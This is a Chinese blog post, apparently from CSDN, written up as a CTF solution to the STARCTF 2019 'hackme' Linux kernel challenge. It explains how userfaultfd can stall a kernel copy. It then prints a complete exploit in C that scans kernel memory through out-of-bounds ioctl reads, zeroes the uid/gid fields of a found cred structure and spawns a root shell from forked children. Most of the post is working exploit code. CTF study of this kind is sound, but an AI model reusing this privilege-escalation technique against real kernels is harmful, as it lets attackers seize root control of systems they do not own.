linux kernal pwn STARCTF 2019 hackme(三)userfaultfd机制修改cred

本文介绍了userfaultfd机制如何允许用户态处理缺页异常,以及在内核漏洞利用中的应用。通过示例展示了如何在内存分配中找到cred结构体并尝试修改以达到提权目的。利用mmap、userfaultfd注册处理函数,当写入内存触发缺页异常时,暂停执行避免影响内核代码,从而实现特定条件下的权限提升。
摘要由CSDN通过智能技术生成

首先再熟悉一下userfaultfd机制

内存页的分配是创建时先分配页表但并不会实际分配物理页面。在读写发生时,由于物理页面不存在,触发缺页异常进入内核处理该缺页中断,再实际分配物理页面进行相应的读写。这种延迟分配的机制使得系统性能在一定程序上得到了提升。
userfaultfd机制允许在用户态处理缺页异常,这个特性使得它在内核漏洞利用中可以发挥较大的作用。一个典型的场景时mmap出来一块内存,使用userfaultfd监视该地址,如果发生缺页异常先进入内核,再从内核到用户态定义的缺页处理程序,此时可以在用户态暂停从而间接的实现暂停内核态代码的运行。这种特性使得该机制在竞争以及double fetch类的漏洞利用中能够发挥较大作用。

因为有任意读写,我们想着能不能去越界读写cred结构体去提权。
相关题型有2015年拿到stringipc。

但是我们知道cred结构体在kernal base的上面
而heap的地址一般都在kernal的下面

驱动程序漏洞部分是这样写的

在这里插入图片描述
这里的判断要求我们必须从头一直写到申请到的object
因为v20是0ffset 我们越界会将它设成负数
v19是要写的num
如果v19小于v20
那么相加是个负数
跟后面作比较用的是无符号整数
那就是个很大的整数
那么就不会满足条件。

如果我们直接越界去写cred
那么我们一定需要从cred一直写到object
中间势必会路过kernal base
那显然不可写
就会出错。

所以常规的越界写修改cred结构体就出错了。

那么我们这个时候就要把userfaultfd机制利用起来
我们设想一个这样的场景
假设我们在写cred的时候
利用userfaultfd机制监视这cred下面一点
当cred结构体被写完,继续往下写的时候触发userfaultfd,我们让线程停下来。
那么就不会覆盖到我们的kernal base了

我们跟着大佬exp
调一下看看。

首先说明编译exp的时候因为里面用来线程的相关函数
我们在编译的时候必须加-lpthread参数

gcc -static exp.c -o exp -lpthread
	for (int i=0; i<200; i++)
	{
		if (fork() == 0)
			get_root(i);
	}

void get_root(uint32_t i)
{
	while (1) 
	{
		sleep(1);
		if (getuid() == 0)
		{
			printf("[+] got root at thread: %d\n", i);
			execl("/bin/sh", "sh", NULL);
			exit(0);
		}
	}
}

首先就在这不停的fork进程
fork进程结束之后就干一件事:等一秒钟,然后提权试试。

	char *mem = malloc(MAX_DATA_SIZE);
	alloc(fd, 0, mem, 0x100);
	read_from_kernel(fd, 0, mem, MAX_DATA_SIZE, -MAX_DATA_SIZE);
	uint32_t *array = (uint32_t*)mem;
	uint32_t cred_offset = 0;
	//uint32_t count = 0;
	printf("[+] begin to search cred");
	for (int i = 0; i < SEARCH_SIZE/4; i++)
	{
		if (array[i] == 1000 && array[i+1] == 1000 && array[i+2] == 1000 && array[i+3] == 1000 && array[i+4] == 1000 && array[i+5] == 1000 && array[i+6] == 1000 && array[i+7] == 1000)
		{
			printf("[+] find cred at offset: 0x%x\n", i*4);
			for (int j = 0; j<8; j++)
				array[i+j] = 0;
			cred_offset = i*4;
			break;
		}
	}
	if (cred_offset == 0)
	{
		printf("[-] Cannot find cred");
		exit(-1);
	}

然后我们要通过任意读,读一堆东西出来
然后在里面找cred结构体。

找的方法就是通过cred结构体刚开始的几个成员

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

通过那8个id 正常用户应该都是0x1000
通过这个特征来搜索cred结构体地址。

	char *new_mem = (char *) mmap(NULL, MAX_DATA_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	memcpy(new_mem, mem, SEARCH_SIZE);
	fault_page = (uint64_t)new_mem + SEARCH_SIZE;
	fault_page_len = MAX_DATA_SIZE - SEARCH_SIZE;

然后mmap了一块空间

mmap后面的具体参数如下

#include <sys/mman.h>
void *mmap(void *start, size_t length, int prot, int flags,int fd, off_t offset);

start:映射区的开始地址。
length:映射区的长度。
prot:期望的内存保护标志,不能与文件的打开模式冲突。是以下的某个值,可以通过or运算合理地组合在一起
PROT_EXEC //页内容可以被执行
PROT_READ //页内容可以被读取
PROT_WRITE //页可以被写入
PROT_NONE //页不可访问
flags:指定映射对象的类型,映射选项和映射页是否可以共享。它的值可以是一个或者多个以下位的组合体
MAP_FIXED //使用指定的映射起始地址,如果由start和len参数指定的内存区重叠于现存的映射空间,重叠部分将会被丢弃。如果指定的起始地址不可用,操作将会失败。并且起始地址必须落在页的边界上。
MAP_SHARED //与其它所有映射这个对象的进程共享映射空间。对共享区的写入,相当于输出到文件。直到msync()或者munmap()被调用,文件实际上不会被更新。
MAP_PRIVATE //建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的,只能使用其中一个。
MAP_DENYWRITE //这个标志被忽略。
MAP_EXECUTABLE //同上
MAP_NORESERVE //不要为这个映射保留交换空间。当交换空间被保留,对映射区修改的可能会得到保证。当交换空间不被保留,同时内存不足,对映射区的修改会引起段违例信号。
MAP_LOCKED //锁定映射区的页面,从而防止页面被交换出内存。
MAP_GROWSDOWN //用于堆栈,告诉内核VM系统,映射区可以向下扩展。
MAP_ANONYMOUS //匿名映射,映射区不与任何文件关联。
MAP_ANON //MAP_ANONYMOUS的别称,不再被使用。
MAP_FILE //兼容标志,被忽略。
MAP_32BIT //将映射区放在进程地址空间的低2GB,MAP_FIXED指定时会被忽略。当前这个标志只在x86-64平台上得到支持。
MAP_POPULATE //为文件映射通过预读的方式准备好页表。随后对映射区的访问不会被页违例阻塞。
MAP_NONBLOCK //仅和MAP_POPULATE一起使用时才有意义。不执行预读,只为已存在于内存中的页面建立页表入口。
fd:有效的文件描述词。如果MAP_ANONYMOUS被设定,为了兼容问题,其值应为-1。
offset:被映射对象内容的起点。 返回说明:

所以mmap的页面是可读写,映射对象是匿名映射,私有映射。

连个参数fault_page是指还处于缺页的地址
fault_page_len指的是处于缺页的空间大小。

void* handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] handler created");

	struct pollfd pollfd;
	int nready;
	pollfd.fd      = uffd;
	pollfd.events  = POLLIN;
	nready = poll(&pollfd, 1, -1);
	if (nready != 1)  // 这会一直等待,直到copy_from_user/copy_to_user访问FAULT_PAGE
		errExit("[-] Wrong pool return value");
	printf("[+] Trigger! I'm going to hang\n");

	if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 从uffd读取msg结构,虽然没用
		errExit("[-] Error in reading uffd_msg");
	assert(msg.event == UFFD_EVENT_PAGEFAULT);
	printf("[+] fault page handler finished");
	sleep(1000);
	return 0;
}

void register_userfault(uint64_t fault_page, uint64_t fault_page_len)
{
	struct uffdio_api ua;
	struct uffdio_register ur;
	pthread_t thr;

	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // create the user fault fd
	ua.api = UFFD_API;
	ua.features = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		errExit("[-] ioctl-UFFDIO_API");
	ur.range.start = (unsigned long)fault_page;
	ur.range.len   = fault_page_len;
	ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
		errExit("[-] ioctl-UFFDIO_REGISTER");  //注册页地址与错误处理fd,这样只要copy_from_user
											   //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
	int s = pthread_create(&thr, NULL, handler, (void*)uffd); // handler函数进行访存错误处理
	if (s!=0)
		errExit("[-] pthread_create");
    return;
}

然后调用了register_userfault函数
整个的一个过程就是利用usrefaultfd机制注册了一个缺页处理函数
当缺页的时候
会卡住一会。

write_to_kernel(fd, 0, new_mem, MAX_DATA_SIZE, -MAX_DATA_SIZE);

最后触发的条件就是往我们有机制的new_mem里面写东西。
我们一写,会从一开始往下写,然后到cred结构体的时候会把八个id改成0
然后一直到SEARCH_SIZE都写完的时候再往下写就会缺页
就会卡主 不会波及到下面的代码
然后还在那不停的问自己是不是root的线程突然发现自己是root 就弹个shell的root
就提权了

bsauce大佬完整exp 稍做修改

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>

#define ALLOC 0x30000
#define DEL 0x30001
#define READ 0x30003
#define WRITE 0x30002


struct arg
{
	size_t idx;
	void *addr;
	long long len;
	long long offset;
};

void alloc(int fd,int idx,char *user,long long len){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	ioctl(fd,ALLOC,&cmd);
}

void delete(int fd,int idx){
	struct arg cmd;
	cmd.idx = idx;
	ioctl(fd,DEL,&cmd);
}

void read_from_kernel(int fd,int idx,char *user,long long len,long long offset){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	cmd.offset = offset;
	ioctl(fd,READ,&cmd);	
}
void write_to_kernel(int fd,int idx,char *user,long long len,long long offset){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	cmd.offset = offset;
	ioctl(fd,WRITE,&cmd);	
}

void get_root(uint32_t i)
{
	while (1) 
	{
		sleep(1);
		if (getuid() == 0)
		{
			printf("[+] got root at thread: %d\n", i);
			execl("/bin/sh", "sh", NULL);
			exit(0);
		}
	}
}

void errExit(char* msg)
{
	puts(msg);
	exit(-1);
}

void* handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] handler created");

	struct pollfd pollfd;
	int nready;
	pollfd.fd      = uffd;
	pollfd.events  = POLLIN;
	nready = poll(&pollfd, 1, -1);
	if (nready != 1)  // 这会一直等待,直到copy_from_user/copy_to_user访问FAULT_PAGE
		errExit("[-] Wrong pool return value");
	printf("[+] Trigger! I'm going to hang\n");

	if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 从uffd读取msg结构,虽然没用
		errExit("[-] Error in reading uffd_msg");
	assert(msg.event == UFFD_EVENT_PAGEFAULT);
	printf("[+] fault page handler finished");
	sleep(1000);
	return 0;
}

void register_userfault(uint64_t fault_page, uint64_t fault_page_len)
{
	struct uffdio_api ua;
	struct uffdio_register ur;
	pthread_t thr;

	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // create the user fault fd
	ua.api = UFFD_API;
	ua.features = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		errExit("[-] ioctl-UFFDIO_API");
	ur.range.start = (unsigned long)fault_page;
	ur.range.len   = fault_page_len;
	ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
		errExit("[-] ioctl-UFFDIO_REGISTER");  //注册页地址与错误处理fd,这样只要copy_from_user
											   //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
	int s = pthread_create(&thr, NULL, handler, (void*)uffd); // handler函数进行访存错误处理
	if (s!=0)
		errExit("[-] pthread_create");
    return;
}

#define MAX_DATA_SIZE 0x160000
#define SEARCH_SIZE 0x10000
int main(){
	uint64_t fault_page;
	uint64_t fault_page_len;
	int fd = open("/dev/hackme", O_RDONLY);
	if (fd < 0 )
	{
		printf("[-] bad open /dev/hackme\n");
		exit(-1);
	}

	for (int i=0; i<200; i++)
	{
		if (fork() == 0)
			get_root(i);
	}

	char *mem = malloc(MAX_DATA_SIZE);
	alloc(fd, 0, mem, 0x100);
	read_from_kernel(fd, 0, mem, MAX_DATA_SIZE, -MAX_DATA_SIZE);
	uint32_t *array = (uint32_t*)mem;
	uint32_t cred_offset = 0;

	printf("[+] begin to search cred");
	for (int i = 0; i < SEARCH_SIZE/4; i++)
	{
		if (array[i] == 1000 && array[i+1] == 1000 && array[i+2] == 1000 && array[i+3] == 1000 && array[i+4] == 1000 && array[i+5] == 1000 && array[i+6] == 1000 && array[i+7] == 1000)
		{
			printf("[+] find cred at offset: 0x%x\n", i*4);
			for (int j = 0; j<8; j++)
				array[i+j] = 0;
			cred_offset = i*4;
			break;
		}
	}
	if (cred_offset == 0)
	{
		printf("[-] Cannot find cred");
		exit(-1);
	}

	char *new_mem = (char *) mmap(NULL, MAX_DATA_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	memcpy(new_mem, mem, SEARCH_SIZE);
	fault_page = (uint64_t)new_mem + SEARCH_SIZE;
	fault_page_len = MAX_DATA_SIZE - SEARCH_SIZE;
	register_userfault(fault_page, fault_page_len);
	write_to_kernel(fd, 0, new_mem, MAX_DATA_SIZE, -MAX_DATA_SIZE);
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值